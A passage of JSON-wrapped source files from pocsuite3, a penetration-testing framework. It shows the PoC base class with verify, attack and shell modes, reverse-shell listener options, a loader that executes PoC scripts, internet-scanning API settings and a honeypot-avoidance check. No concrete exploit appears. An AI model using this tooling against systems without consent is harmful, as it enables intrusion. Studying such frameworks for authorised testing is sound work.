    "content": "# Family: {\"parameter name\": \"parameter datatype\"},\n# --OR--\n# Family: {\"parameter name\": (\"parameter datatype\", \"category name used for common outputs feature\")},\n\noptDict = {\n    'Target': {\n        'url': 'string',\n        'url_file': 'string',\n        'ports': 'string',\n        'skip_target_port': 'boolean',\n        'poc': 'string',\n        'poc_keyword': 'string',\n        'configFile': 'string'\n    },\n    'Mode': {\n        'mode': 'string'\n    },\n    'Request': {\n        'cookie': 'string',\n        'host': 'string',\n        'referer': 'string',\n        'agent': 'string',\n        'proxy': 'string',\n        'proxy_cred': 'string',\n        'timeout': 'float',\n        'retry': 'integer',\n        'delay': 'string',\n        'headers': 'string'\n    },\n    'Account': {\n        'ceye_token': 'string',\n        'oob_server': 'string',\n        'oob_token': 'string',\n        'seebug_token': 'string',\n        'zoomeye_token': 'string',\n        'shodan_token': 'string',\n        'fofa_user': 'string',\n        'fofa_token': 'string',\n        'quake_token': 'string',\n        'hunter_token': 'string',\n        'censys_uid': 'string',\n        'censys_secret': 'string'\n    },\n    'Modules': {\n        'dork': 'string',\n        'dork_zoomeye': 'string',\n        'dork_shodan': 'string',\n        'dork_fofa': 'string',\n        'dork_quake': 'string',\n        'dork_hunter': 'string',\n        'dork_censys': 'string',\n        'max_page': 'integer',\n        'page_size': 'string',\n        'search_type': 'string',\n        'vul_keyword': 'string',\n        'ssvid': 'string',\n        'connect_back_host': 'string',\n        'connect_back_port': 'string',\n        'enable_tls_listener': 'boolean',\n        \"comparison\": 'boolean',\n        'dork_b64': 'boolean'\n    },\n    'Optimization': {\n        'output_path': 'string',\n        'plugins': 'string',\n        'pocs_path': 'string',\n        'threads': 'integer',\n        'batch': 'string',\n        'check_requires': 'boolean',\n        'quiet': 'boolean',\n        'ppt': 'boolean',\n        'pcap': 'boolean',\n        'rule': 'boolean',\n        'rule_req': 'boolean',\n        'rule_filename': 'string',\n        'no_check': 'boolean'\n    },\n    'Poc options': {\n        'show_options': 'boolean'\n    }\n}\n"
  },
  {
    "path": "pocsuite3/lib/core/plugin.py",
    "content": "import os\n\nfrom pocsuite3.lib.core.common import is_pocsuite3_poc, single_time_warn_message\nfrom pocsuite3.lib.core.data import kb\nfrom pocsuite3.lib.core.data import logger\nfrom pocsuite3.lib.core.register import load_string_to_module, load_file_to_module\n\n\nclass PluginBase(object):\n\n    def __init__(self):\n        pass\n\n    def get_category(self):\n        return self.category\n\n    def add_target(self, target):\n        ret = False\n        if isinstance(target, bytes):\n            target = target.decode()\n\n        if isinstance(target, str):\n            kb.targets.add(target)\n            ret = True\n        else:\n            err_msg = \"[PLUGIN] invalid target format: {0}\".format(target)\n            logger.error(err_msg)\n\n        return ret\n\n    def add_poc(self, poc, fullname=None):\n        ret = False\n        poc = self.format_poc(poc)\n        if self.check_poc(poc):\n            try:\n                load_string_to_module(poc, fullname)\n                ret = True\n            except Exception as ex:\n                msg = \"[PLUGIN] load PoC script failed: {0}\".format(str(ex))\n                single_time_warn_message(msg)\n        else:\n            err_msg = \"[PLUGIN] invalid pocsuite3 PoC code\"\n            logger.error(err_msg)\n        return ret\n\n    def add_poc_from_file(self, filename):\n        ret = False\n\n        if os.path.exists(filename):\n            try:\n                load_file_to_module(filename)\n                ret = True\n            except SystemExit:\n                pass\n            except Exception as ex:\n                msg = \"[PLUGIN] load PoC script failed: {0}\".format(str(ex))\n                single_time_warn_message(msg)\n        else:\n            err_msg = \"[PLUGIN] invalid pocsuite3 PoC file {}\".format(filename)\n            logger.error(err_msg)\n        return ret\n\n    @staticmethod\n    def format_poc(poc):\n        if isinstance(poc, bytes):\n            poc = poc.decode()\n        return poc\n\n    @staticmethod\n    def check_poc(poc):\n        return is_pocsuite3_poc(poc)\n\n    @staticmethod\n    def get_results():\n        return kb.results\n\n    def init(self):\n        raise NotImplementedError\n\n    def start(self):\n        raise NotImplementedError\n\n    def handle(self, output):\n        pass\n\n\ndef register_plugin(plugin_class):\n    plugin_name = plugin_class.__module__.split('.')[0]\n    plugin_category = plugin_class.category\n\n    if plugin_name not in kb.plugins[plugin_category]:\n        kb.plugins[plugin_category][plugin_name] = plugin_class()\n"
  },
  {
    "path": "pocsuite3/lib/core/poc.py",
    "content": "# pylint: disable=E1101\nimport time\nimport re\nimport traceback\nimport inspect\nfrom collections import OrderedDict\n\nfrom requests.exceptions import ConnectTimeout, ConnectionError, HTTPError, TooManyRedirects\nfrom pocsuite3.lib.core.common import mosaic, check_port, OrderedSet, get_host_ip\nfrom pocsuite3.lib.core.data import conf, logger\nfrom pocsuite3.lib.core.enums import OUTPUT_STATUS, CUSTOM_LOGGING, ERROR_TYPE_ID, POC_CATEGORY\nfrom pocsuite3.lib.core.exception import PocsuiteValidationException\nfrom pocsuite3.lib.core.interpreter_option import OptString, OptInteger, OptPort\nfrom pocsuite3.lib.request import requests\nfrom pocsuite3.lib.utils import urlparse\n\n\nclass POCBase(object):\n    def __init__(self):\n        # PoC attributes\n        self.vulID = getattr(self, 'vulID', '0')\n        self.version = getattr(self, 'version', '1')\n        self.author = getattr(self, 'author', '')\n        self.vulDate = getattr(self, 'vulDate', '')\n        self.createDate = getattr(self, 'createDate', '')\n        self.updateDate = getattr(self, 'updateDate', '')\n        self.references = getattr(self, 'references', [])\n        self.name = getattr(self, 'name', '')\n        self.appPowerLink = getattr(self, 'appPowerLink', '')\n        self.appName = getattr(self, 'appName', '')\n        self.appVersion = getattr(self, 'appVersion', '')\n        self.vulType = getattr(self, 'vulType', '')\n        self.desc = getattr(self, 'desc', '')\n        self.samples = getattr(self, 'samples', [])\n        self.install_requires = getattr(self, 'install_requires', [])\n        self.dork = getattr(self, 'dork', {})\n        self.suricata_request = getattr(self, 'suricata_request', '')\n        self.suricata_response = getattr(self, 'suricata_response', '')\n        #\n        self.type = None\n        self.target = None\n        self.headers = None\n        self.url = None\n        self.scheme = None\n        self.rhost = None\n        self.rport = None\n        self.netloc = None\n        self.mode = None\n        self.params = None\n        self.verbose = None\n        self.expt = (0, 'None')\n        self.current_protocol = getattr(self, \"protocol\", POC_CATEGORY.PROTOCOL.HTTP)\n        self.current_protocol_port = getattr(self, \"protocol_default_port\", 0)\n        self.pocDesc = getattr(self, \"pocDesc\", \"Poc的作者好懒呀！\")\n        self.host_ip = get_host_ip(check_private=False)\n\n        # gloabl options init\n        self.global_options = OrderedDict()\n        if self.current_protocol == POC_CATEGORY.PROTOCOL.HTTP:\n            self.global_options[\"target\"] = OptString(\"\",\n                                                      \"Target HTTP, IPv4, IPv6 address or file with ip:port (file://)\",\n                                                      require=True)\n            self.global_options[\"referer\"] = OptString(\"\", \"HTTP Referer header value\")\n            self.global_options[\"agent\"] = OptString(\"\", \"HTTP User-Agent header value\")\n            self.global_options[\"proxy\"] = OptString(\n                \"\", \"Use a proxy to connect to the target URL (protocol://host:port)\")\n            self.global_options[\"timeout\"] = OptInteger(10, \"Seconds to wait before timeout connection (default 10)\")\n        else:\n            self.global_options[\"rhost\"] = OptString('', 'The target host', require=True)\n            self.global_options[\"rport\"] = OptPort('', 'The target port', require=True)\n\n        # payload options for exploit\n        self.payload_options = OrderedDict()\n        if hasattr(self, \"_shell\"):\n            self.payload_options[\"lhost\"] = OptString(self.host_ip, \"The listen address\")\n            self.payload_options[\"lport\"] = OptPort(6666, \"The listen port\")\n\n        self.options = OrderedDict()\n        # module options init\n        if hasattr(self, \"_options\"):\n            self.options.update(self._options())\n\n    def get_options(self):\n        tmp = OrderedDict()\n        for k, v in self.options.items():\n            tmp[k] = v\n        for k, v in self.payload_options.items():\n            tmp[k] = v\n        for k, v in self.global_options.items():\n            tmp[k] = v\n        return tmp\n        # return self.options.update(self.global_options).update(self.payload_options)\n\n    def get_option(self, name):\n        if name not in self.options:\n            raise PocsuiteValidationException\n        # 处理options中的payload, 将Payload的IP和端口转换\n        value = self.options[name].value\n        flag = re.search(r'\\{0\\}.+\\{1\\}', str(value))\n        if flag:\n            value = value.format(conf.connect_back_host, conf.connect_back_port)\n        return value\n\n    def get_infos(self):\n        '''\n        得到Poc的信息，返回dict\n        :return:\n        '''\n        fields = [\"name\", \"VulID\", \"version\", \"author\", \"vulDate\", \"createDate\", \"updateDate\", \"references\",\n                  \"appPowerLink\", \"appName\", \"appVersion\", \"vulType\", \"desc\", \"pocDesc\", \"current_protocol\"]\n        data = {\n        }\n\n        for field in fields:\n            value = getattr(self, field, None)\n            if value:\n                data[field] = value\n\n        return data\n\n    def getg_option(self, name):\n        if name not in self.global_options:\n            raise PocsuiteValidationException\n        r = self.global_options[name].value if self.global_options[name].value != \"\" else 0\n        return r\n\n    def getp_option(self, name):\n        if name not in self.payload_options:\n            raise PocsuiteValidationException\n        return self.payload_options[name].value\n\n    def get_category(self):\n        return self.category if hasattr(self, 'category') else 'Unknown'\n\n    def set_options(self, kwargs):\n        if hasattr(self, 'options'):\n            self.options.update(kwargs)\n        else:\n            self.options = kwargs\n\n    def set_option(self, key, value):\n        # if not hasattr(self, 'options'):\n        #     self.options = {}\n        if key not in self.options:\n            raise PocsuiteValidationException(\"No key \" + key)\n        self.options[key].__set__(\"\", value)\n\n    def setg_option(self, key, value):\n        if key not in self.global_options:\n            raise PocsuiteValidationException(\"No key \" + key)\n        self.global_options[key].__set__(\"\", value)\n\n    def setp_option(self, key, value):\n        if key not in self.payload_options:\n            raise PocsuiteValidationException(\"No key \" + key)\n        self.payload_options[key].__set__(\"\", value)\n\n    def check_requirement(self, *args):\n        for option in args:\n            for k, v in option.items():\n                if v.require and v.value == \"\":\n                    raise PocsuiteValidationException(\n                        \"'{key}' must be set, please using command 'set {key}'\".format(key=k))\n        return True\n\n    def build_url(self, target=''):\n        if not target:\n            target = self.target\n        # https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers\n        protocol_default_port_map = {\n            POC_CATEGORY.PROTOCOL.FTP: 21,\n            POC_CATEGORY.PROTOCOL.SSH: 22,\n            POC_CATEGORY.PROTOCOL.TELNET: 23,\n            POC_CATEGORY.PROTOCOL.REDIS: 6379,\n            POC_CATEGORY.PROTOCOL.SMTP: 25,\n            POC_CATEGORY.PROTOCOL.DNS: 53,\n            POC_CATEGORY.PROTOCOL.SNMP: 161,\n            POC_CATEGORY.PROTOCOL.SMB: 445,\n            POC_CATEGORY.PROTOCOL.MQTT: 1883,\n            POC_CATEGORY.PROTOCOL.MYSQL: 3306,\n            POC_CATEGORY.PROTOCOL.RDP: 3389,\n            POC_CATEGORY.PROTOCOL.UPNP: 1900,\n            POC_CATEGORY.PROTOCOL.AJP: 8009,\n            POC_CATEGORY.PROTOCOL.XMPP: 5222,\n            POC_CATEGORY.PROTOCOL.WINBOX: 8291,\n            POC_CATEGORY.PROTOCOL.MEMCACHED: 11211,\n            POC_CATEGORY.PROTOCOL.BACNET: 47808,\n            POC_CATEGORY.PROTOCOL.T3: 7001,\n        }\n\n        if self.current_protocol_port:\n            protocol_default_port_map[self.current_protocol] = self.current_protocol_port\n\n        try:\n            pr = urlparse(target)\n            is_ipv6 = pr.netloc.startswith('[')\n            self.scheme = pr.scheme\n            self.rhost = pr.hostname\n            self.rport = pr.port or self.current_protocol_port\n\n            # if protocol is not provided and the port endswith 443, we adjust the protocol to https\n            if (self.current_protocol not in protocol_default_port_map or\n                    self.current_protocol == POC_CATEGORY.PROTOCOL.HTTP):\n                if self.scheme not in ['http', 'https']:\n                    self.scheme = 'https' if str(self.rport).endswith('443') else 'http'\n                self.rport = self.rport if self.rport else 443 if self.scheme == 'https' else 80\n\n            else:\n                # adjust protocol\n                self.scheme = self.current_protocol.lower()\n                # adjust port\n                if not self.rport:\n                    self.rport = protocol_default_port_map[self.current_protocol]\n            self.netloc = f'[{self.rhost}]:{self.rport}' if is_ipv6 else f'{self.rhost}:{self.rport}'\n            pr = pr._replace(scheme=self.scheme)\n            pr = pr._replace(netloc=self.netloc)\n            target = pr.geturl()\n        except ValueError:\n            pass\n        if self.target and self.current_protocol != POC_CATEGORY.PROTOCOL.HTTP and not conf.console_mode:\n            self.setg_option(\"rhost\", self.rhost)\n            self.setg_option(\"rport\", self.rport)\n        return target.rstrip('/')\n\n    def _execute(self):\n        if self.mode == 'shell':\n            if not hasattr(self, \"_shell\"):\n                raise NotImplementedError\n            output = self._shell()\n        elif self.mode == 'attack':\n            output = self._attack()\n        else:\n            output = self._verify()\n\n        return output\n\n    def execute(self, target, headers=None, params=None, mode='verify', verbose=True):\n        self.target = target\n        self.url = self.build_url()\n        if self.url != self.target:\n            logger.debug(f'auto correct url: {mosaic(self.target)} -> {mosaic(self.url)}')\n        # TODO: Thread safe problem in self.headers\n        # https://github.com/knownsec/pocsuite3/issues/262\n        # The value should not be modified in PoC Plugin !!!\n        # Some PoC use this bug as a feature, For the purpose of PoC plugin compatibility, it will not be fixed\n        self.headers = headers\n        if isinstance(params, dict) or isinstance(params, str):\n            self.params = params\n        else:\n            self.params = {}\n        self.mode = mode\n        self.verbose = verbose\n        self.expt = (0, 'None')\n        # TODO\n        output = None\n\n        try:\n            output = self._execute()\n\n        except NotImplementedError as e:\n            self.expt = (ERROR_TYPE_ID.NOTIMPLEMENTEDERROR, e)\n            logger.log(CUSTOM_LOGGING.ERROR, 'POC: {0} not defined \"{1}\" mode'.format(self.name, self.mode))\n            output = Output(self)\n\n        except ConnectTimeout as e:\n            self.expt = (ERROR_TYPE_ID.CONNECTTIMEOUT, e)\n            while conf.retry > 0:\n                logger.debug('connect target {0} timeout, retry it.'.format(mosaic(target)))\n                try:\n                    output = self._execute()\n                    break\n                except Exception:\n                    logger.debug('target {0} retry failed!'.format(mosaic(target)))\n                conf.retry -= 1\n            if output is None:\n                msg = \"connect target '{0}' failed!\".format(mosaic(target))\n                logger.error(msg)\n                output = Output(self)\n\n        except HTTPError as e:\n            self.expt = (ERROR_TYPE_ID.HTTPERROR, e)\n            logger.warn('target {0} HTTPError occurs.'.format(mosaic(target)))\n            output = Output(self)\n\n        except ConnectionError as e:\n            self.expt = (ERROR_TYPE_ID.CONNECTIONERROR, e)\n            msg = \"connect target '{0}' failed!\".format(mosaic(target))\n            logger.error(msg)\n            output = Output(self)\n\n        except TooManyRedirects as e:\n            self.expt = (ERROR_TYPE_ID.TOOMANYREDIRECTS, e)\n            logger.debug(str(e))\n            output = Output(self)\n\n        except BaseException as e:\n            self.expt = (ERROR_TYPE_ID.OTHER, e)\n            logger.error(\"PoC has raised a exception\")\n            logger.error(str(traceback.format_exc()))\n            # logger.exception(e)\n            output = Output(self)\n        if output:\n            output.params = self.params\n        return output\n\n    def _check(self, dork='', allow_redirects=False, return_obj=False, is_http=True, honeypot_check=True):\n        if conf.get('no_check', False):\n            return True\n\n        u = urlparse(self.url)\n        # the port closed\n        if u.port and not check_port(u.hostname, u.port):\n            logger.debug(f'{mosaic(self.url)}, the port is closed.')\n            return False\n\n        if is_http is False or self.current_protocol != POC_CATEGORY.PROTOCOL.HTTP:\n            return True\n\n        res = None\n        # this only covers most cases\n        redirect_https_keyword = [\n            # https://www.zoomeye.org/searchResult?q=%22request%20was%20sent%20to%20HTTPS%20port%22\n            'request was sent to https port',\n            # https://www.zoomeye.org/searchResult?q=%22running%20in%20SSL%20mode.%20Try%22\n            'running in ssl mode. try'\n        ]\n        redirect_https_keyword_found = False\n        origin_url = self.url\n        netloc = self.url.split('://', 1)[-1]\n        urls = OrderedSet()\n        urls.add(self.url)\n        urls.add(f'http://{netloc}')\n\n        # The user has not provided a port in URL, dynamically switching to HTTPS's default port 443\n        pr = urlparse(self.url)\n        is_ipv6 = pr.netloc.startswith('[')\n        if ':' not in self.target.split('://')[-1] and pr.port == 80:\n            pr = pr._replace(scheme='https')\n            pr = pr._replace(netloc=f'[{pr.hostname}]:443' if is_ipv6 else f'{pr.hostname}:443')\n            urls.add(pr.geturl())\n        else:\n            urls.add(f'https://{netloc}')\n\n        for url in urls:\n            try:\n                time.sleep(0.1)\n                res = requests.get(url, allow_redirects=allow_redirects)\n                \"\"\"\n                https://github.com/knownsec/pocsuite3/issues/330\n                https://github.com/knownsec/pocsuite3/issues/356\n                status_code:\n                    - 20x\n                    - 30x\n                    - 40x\n                    - 50x\n                \"\"\"\n\n                # if HTTPS handshake is successful, return directly\n                if url.startswith('https://'):\n                    break\n\n                # if we send an HTTP request to an HTTPS service, but the server may return 20x\n                for k in redirect_https_keyword:\n                    if k.lower() in res.text.lower():\n                        redirect_https_keyword_found = True\n                        break\n                if redirect_https_keyword_found:\n                    continue\n\n                # if we send an HTTP request to an HTTPS service, the server may return 30x, 40x, or 50x...\n                if not str(res.status_code).startswith('20'):\n                    continue\n\n                break\n            except requests.RequestException:\n                pass\n\n        if not isinstance(res, requests.Response):\n            return False\n\n        self.url = res.request.url.rstrip('/')\n        if res.history:\n            self.url = res.history[0].request.url.rstrip('/')\n\n        if self.url.split('://')[0] != self.scheme:\n            self.url = self.build_url(self.url)\n            logger.warn(f'auto correct url: {mosaic(origin_url)} -> {mosaic(self.url)}')\n\n        if return_obj:\n            return res\n\n        content = str(res.headers).lower() + res.text.lower()\n        dork = dork.lower()\n\n        if dork not in content:\n            return False\n\n        if not honeypot_check:\n            return True\n\n        is_honeypot = False\n\n        # detect honeypot\n        # https://www.zoomeye.org/searchResult?q=%22GoAhead-Webs%22%20%2B%22Apache-Coyote%22\n        keyword = [\n            'goahead-webs',\n            'apache-coyote',\n            'upnp/',\n            'openresty',\n            'tomcat'\n        ]\n\n        sin = 0\n        for k in keyword:\n            if k in content:\n                sin += 1\n\n        if sin >= 3:\n            logger.debug(f'honeypot: sin({sin}) >= 3')\n            is_honeypot = True\n\n        # maybe some false positives\n        elif len(re.findall('<title>(.*)</title>', content)) > 5:\n            logger.debug('honeypot: too many title')\n            is_honeypot = True\n\n        elif len(re.findall('basic realm=', content)) > 5:\n            logger.debug('honeypot: too many www-auth')\n            is_honeypot = True\n\n        elif len(re.findall('server: ', content)) > 5:\n            logger.debug('honeypot: too many server')\n            is_honeypot = True\n\n        if is_honeypot:\n            logger.warn(f'{mosaic(self.url)} is a honeypot.')\n\n        return not is_honeypot\n\n    def _shell(self):\n        \"\"\"\n        @function   以Poc的shell模式对urls进行检测(具有危险性)\n                    需要在用户自定义的Poc中进行重写\n                    返回一个Output类实例\n        \"\"\"\n        raise NotImplementedError\n\n    def _attack(self):\n        \"\"\"\n        @function   以Poc的attack模式对urls进行检测(可能具有危险性)\n                    需要在用户自定义的Poc中进行重写\n                    返回一个Output类实例\n        \"\"\"\n        raise NotImplementedError\n\n    def _verify(self):\n        \"\"\"\n        @function   以Poc的verify模式对urls进行检测(可能具有危险性)\n                    需要在用户自定义的Poc中进行重写\n                    返回一个Output类实例\n        \"\"\"\n        raise NotImplementedError\n\n    def parse_output(self, result={}):\n        output = Output(self)\n        if result:\n            output.success(result)\n        else:\n            output.fail('Internet nothing returned')\n        return output\n\n    def _run(self):\n        \"\"\"\n        @function   以Poc的GUI模式对url进行检测(可能具有危险性)\n                    需要在用户自定义的Poc中进行重写\n                    返回一个Output类实例\n        \"\"\"\n        raise NotImplementedError\n\n\nclass Output(object):\n    def __init__(self, poc=None):\n        self.error_msg = tuple()\n        self.result = {}\n        self.params = {}\n        self.status = OUTPUT_STATUS.FAILED\n        if poc:\n            self.url = poc.url\n            self.mode = poc.mode\n            self.vul_id = poc.vulID\n            self.name = poc.name\n            self.app_name = poc.appName\n            self.app_version = poc.appVersion\n            self.error_msg = poc.expt\n            self.poc_attrs = {}\n            for i in inspect.getmembers(poc):\n                if not i[0].startswith('_') and type(i[1]) in [str, list, dict]:\n                    self.poc_attrs[i[0]] = i[1]\n\n    def is_success(self):\n        return bool(True and self.status)\n\n    def success(self, result):\n        assert isinstance(result, dict)\n        self.status = OUTPUT_STATUS.SUCCESS\n        self.result = result\n\n    def fail(self, error=\"\"):\n        assert isinstance(error, str)\n        self.status = OUTPUT_STATUS.FAILED\n        self.error_msg = (0, error)\n\n    def error(self, error=\"\"):\n        self.expt = (ERROR_TYPE_ID.OTHER, error)\n        self.error_msg = (0, error)\n\n    def show_result(self):\n        if self.status == OUTPUT_STATUS.SUCCESS:\n            for k, v in self.result.items():\n                if isinstance(v, dict):\n                    for kk, vv in v.items():\n                        if (kk == \"URL\" or kk == \"IP\"):\n                            vv = mosaic(vv)\n                        logger.log(CUSTOM_LOGGING.SUCCESS, \"%s : %s\" % (kk, vv))\n                else:\n                    if (k == \"URL\" or k == \"IP\"):\n                        v = mosaic(v)\n                    logger.log(CUSTOM_LOGGING.SUCCESS, \"%s : %s\" % (k, v))\n\n    def to_dict(self):\n        return self.__dict__\n"
  },
  {
    "path": "pocsuite3/lib/core/readlineng.py",
    "content": "from pocsuite3.lib.core.data import logger\nfrom pocsuite3.lib.core.settings import IS_WIN\nfrom pocsuite3.lib.core.settings import PLATFORM\n\n_readline = None\n\ntry:\n    from readline import *\n    import readline as _readline\nexcept ImportError:\n    try:\n        from pyreadline import *\n        import pyreadline as _readline\n    except ImportError:\n        # raise PocsuiteSystemException(\"Import pyreadline faild,try pip3 install pyreadline\")\n        pass\n\nif IS_WIN and _readline:\n    try:\n        _outputfile = _readline.GetOutputFile()\n    except AttributeError:\n        debugMsg = \"Failed GetOutputFile when using platform's \"\n        debugMsg += \"readline library\"\n        logger.debug(debugMsg)\n\n        _readline = None\n\n# Test to see if libedit is being used instead of GNU readline.\n# Thanks to Boyd Waters for this patch.\nuses_libedit = False\n\nif PLATFORM == 'mac' and _readline:\n    import commands\n\n    (status, result) = commands.getstatusoutput(\"otool -L %s | grep libedit\" % _readline.__file__)\n\n    if status == 0 and len(result) > 0:\n        # We are bound to libedit - new in Leopard\n        _readline.parse_and_bind(\"bind ^I rl_complete\")\n\n        debug_msg = \"Leopard libedit detected when using platform's \"\n        debug_msg += \"readline library\"\n        logger.debug(debug_msg)\n\n        uses_libedit = True\n\n# the clear_history() function was only introduced in Python 2.4 and is\n# actually optional in the readline API, so we must explicitly check for its\n# existence.  Some known platforms actually don't have it.  This thread:\n# http://mail.python.org/pipermail/python-dev/2003-August/037845.html\n# has the original discussion.\nif _readline:\n    try:\n        _readline.clear_history()\n    except AttributeError:\n        def clear_history():\n            pass\n\n        _readline.clear_history = clear_history\n"
  },
  {
    "path": "pocsuite3/lib/core/register.py",
    "content": "import re\nfrom importlib import metadata\nimport importlib.machinery\nimport importlib.util\nfrom importlib.abc import Loader\nfrom pocsuite3.lib.core.common import (\n    multiple_replace, get_filename, get_md5, get_file_text,\n    is_pocsuite3_poc, get_poc_requires, get_poc_name)\nfrom pocsuite3.lib.core.data import kb\nfrom pocsuite3.lib.core.data import logger\nfrom pocsuite3.lib.core.settings import POC_IMPORTDICT\n\n\nclass PocLoader(Loader):\n    def __init__(self, fullname, path):\n        self.fullname = fullname\n        self.path = path\n        self.data = None\n\n    def set_data(self, data):\n        self.data = data\n\n    def get_filename(self, fullname):\n        return self.path\n\n    def get_data(self, filename):\n        if filename.startswith('pocsuite://') and self.data:\n            if not is_pocsuite3_poc(self.data):\n                data = multiple_replace(self.data, POC_IMPORTDICT)\n            else:\n                data = self.data\n        else:\n            code = get_file_text(filename)\n            if not is_pocsuite3_poc(code):\n                data = multiple_replace(code, POC_IMPORTDICT)\n            else:\n                data = code\n        return data\n\n    @staticmethod\n    def check_requires(data):\n        requires = get_poc_requires(data)\n        requires = [i.strip().strip('\"').strip(\"'\") for i in requires.split(',')] if requires else ['']\n        if requires[0]:\n            poc_name = get_poc_name(data)\n            info_msg = 'PoC script \"{0}\" requires \"{1}\" to be installed'.format(poc_name, ', '.join(requires))\n            logger.info(info_msg)\n            try:\n                for r in requires:\n                    r = r.replace(' ', '')\n                    install_name, import_name = (r.split(':') + [''])[0:2]\n                    t = re.split('>|<|=|~', install_name)\n                    if len(t) > 1:\n                        install_name = t[0]\n                    if not import_name:\n                        import_name = install_name\n                    __import__(import_name)\n                    try:\n                        ver = metadata.version(install_name)\n                    except Exception:\n                        ver = 'unknown'\n                    logger.info(f'{install_name}=={ver} has been installed')\n            except ImportError:\n                err_msg = f'{install_name} not found, try install with \"python -m pip install {install_name}\"'\n                logger.error(err_msg)\n                raise SystemExit\n\n    def exec_module(self, module):\n        filename = self.get_filename(self.fullname)\n        poc_code = self.get_data(filename)\n\n        # convert yaml template to pocsuite3 poc script\n        if filename.endswith('.yaml') and re.search(r'matchers:\\s+-', poc_code):\n            from pocsuite3.lib.yaml.nuclei import Nuclei\n            poc_code = str(Nuclei(poc_code))\n\n        self.check_requires(poc_code)\n        obj = compile(poc_code, filename, 'exec', dont_inherit=True, optimize=-1)\n        try:\n            exec(obj, module.__dict__)\n        except Exception as err:\n            logger.error(\"Poc: '{}' exec arise error: {} \".format(filename, err))\n\n\ndef load_file_to_module(file_path, module_name=None):\n    if '' not in importlib.machinery.SOURCE_SUFFIXES:\n        importlib.machinery.SOURCE_SUFFIXES.append('')\n    try:\n        module_name = 'pocs_{0}'.format(get_filename(file_path, with_ext=False)) if module_name is None else module_name\n        spec = importlib.util.spec_from_file_location(module_name, file_path, loader=PocLoader(module_name, file_path))\n        mod = importlib.util.module_from_spec(spec)\n        spec.loader.exec_module(mod)\n        poc_model = kb.registered_pocs[module_name]\n    except KeyError:\n        poc_model = None\n    except ImportError:\n        error_msg = \"load module failed! '{}'\".format(file_path)\n        logger.error(error_msg)\n        raise\n    return poc_model\n\n\ndef load_string_to_module(code_string, fullname=None):\n    try:\n        module_name = 'pocs_{0}'.format(get_md5(code_string)) if fullname is None else fullname\n        file_path = 'pocsuite://{0}'.format(module_name)\n        poc_loader = PocLoader(module_name, file_path)\n        poc_loader.set_data(code_string)\n        spec = importlib.util.spec_from_file_location(module_name, file_path, loader=poc_loader)\n        mod = importlib.util.module_from_spec(spec)\n        spec.loader.exec_module(mod)\n        poc_model = kb.registered_pocs[module_name]\n    except KeyError:\n        poc_model = None\n    except ImportError:\n        error_msg = \"load module '{0}' failed!\".format(fullname)\n        logger.error(error_msg)\n        raise\n    return poc_model\n\n\ndef register_poc(poc_class):\n    module = poc_class.__module__.split('.')[0]\n    if module in kb.registered_pocs:\n        kb.current_poc = kb.registered_pocs[module]\n        return\n\n    kb.registered_pocs[module] = poc_class()\n    kb.current_poc = kb.registered_pocs[module]\n"
  },
  {
    "path": "pocsuite3/lib/core/revision.py",
    "content": "import os\nimport re\nimport subprocess\n\n\ndef stdout_encode(data):\n    \"\"\"\n    Cross-linked function\n    \"\"\"\n    if isinstance(data, bytes):\n        data = data.decode('utf-8')\n    else:\n        data = str(data)\n    return data\n\n\ndef get_revision_number():\n    \"\"\"\n    Returns abbreviated commit hash number as retrieved with \"git rev-parse --short HEAD\"\n    \"\"\"\n\n    ret = None\n    file_path = None\n    _ = os.path.dirname(__file__)\n\n    while True:\n        file_path = os.path.join(_, \".git\", \"HEAD\")\n        if os.path.exists(file_path):\n            break\n        else:\n            file_path = None\n            if _ == os.path.dirname(_):\n                break\n            else:\n                _ = os.path.dirname(_)\n\n    while True:\n        if file_path and os.path.isfile(file_path):\n            with open(file_path, \"r\") as f:\n                content = f.read()\n                file_path = None\n                if content.startswith(\"ref: \"):\n                    file_path = os.path.join(_, \".git\", content.replace(\"ref: \", \"\")).strip()\n                else:\n                    match = re.match(r\"(?i)[0-9a-f]{32}\", content)\n                    ret = match.group(0) if match else None\n                    break\n        else:\n            break\n\n    if not ret:\n        process = subprocess.Popen(\"git rev-parse --verify HEAD\",\n                                   shell=True,\n                                   stdout=subprocess.PIPE,\n                                   stderr=subprocess.PIPE)\n        stdout, _ = process.communicate()\n        stdout = stdout_encode(stdout)\n        match = re.search(r\"(?i)[0-9a-f]{32}\", stdout or \"\")\n        ret = match.group(0) if match else None\n\n    return ret[:7] if ret else None\n"
  },
  {
    "path": "pocsuite3/lib/core/settings.py",
    "content": "import sys\nimport time\nimport os\nfrom platform import system, machine\n\nfrom pocsuite3 import __version__\nfrom pocsuite3.lib.core.revision import get_revision_number\n\nVERSION = __version__\nREVISION = get_revision_number()\nSITE = \"https://pocsuite.org\"\nVERSION_STRING = \"pocsuite/%s%s\" % (\n    VERSION,\n    \"-%s\" % REVISION\n    if REVISION\n    else \"-nongit-%s\"\n    % time.strftime(\n        \"%Y%m%d\",\n        time.gmtime(\n            os.path.getctime(\n                __file__.replace(\".pyc\", \".py\")\n                if __file__.endswith(\"pyc\")\n                else __file__\n            )\n        ),\n    ),\n)\n\nIS_WIN = True if (sys.platform in [\"win32\", \"cygwin\"] or os.name == \"nt\") else False\nPLATFORM = os.name\nPYVERSION = sys.version.split()[0]\n\nISSUES_PAGE = \"https://github.com/knownsec/pocsuite3/issues\"\nGIT_REPOSITORY = \"https://github.com/knownsec/pocsuite3.git\"\nGIT_PAGE = \"https://github.com/knownsec/pocsuite3\"\nZIPBALL_PAGE = \"https://github.com/knownsec/pocsuite3/zipball/master\"\n\nLEGAL_DISCLAIMER = (\n    \"Usage of pocsuite for attacking targets without prior mutual consent is illegal.\"\n)\n\nBANNER = \"\"\"\\033[01;33m\n,------.                        ,--. ,--.       ,----.   \\033[01;37m{\\033[01;%dm%s\\033[01;37m}\\033[01;33m\n|  .--. ',---. ,---.,---.,--.,--`--,-'  '-.,---.'.-.  |\n|  '--' | .-. | .--(  .-'|  ||  ,--'-.  .-| .-. : .' <\n|  | --'' '-' \\\\ `--.-'  `'  ''  |  | |  | \\\\   --/'-'  |\n`--'     `---' `---`----' `----'`--' `--'  `----`----'   \\033[0m\\033[4;37m%s\\033[0m\n\"\"\" % (\n    (31 + hash(REVISION) % 6) if REVISION else 30,\n    VERSION_STRING.split(\"/\")[-1],\n    SITE,\n)\n\n# Encoding used for Unicode data\nUNICODE_ENCODING = \"utf-8\"\n\nBOLD_PATTERNS = (\n    \"' is vulnerable\",\n    \"success\",\n    r\"\\d    \",\n)\n\nOLD_VERSION_CHARACTER = (\"from comm import 